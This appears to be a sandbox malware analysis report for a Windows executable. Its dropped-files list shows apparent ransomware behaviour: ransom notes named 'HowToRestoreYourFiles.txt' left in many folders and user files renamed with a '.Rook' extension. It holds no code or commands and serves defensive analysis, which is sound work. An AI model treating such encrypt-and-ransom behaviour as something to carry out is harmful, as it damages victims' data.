Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\HowToRestoreYourFiles.txt

C:\Users\HowToRestoreYourFiles.txt

C:\Users\user\3D Objects\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\ARM\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\ARM\S\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt21.lst.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt21.lst.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt21.lst.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\TESTING.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\HowToRestoreYourFiles.txt

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\SOPHIA.json.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents.Rook

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr\HowToRestoreYourFiles.txt

Windows Analysis Report
ZunmmW7pe5.exe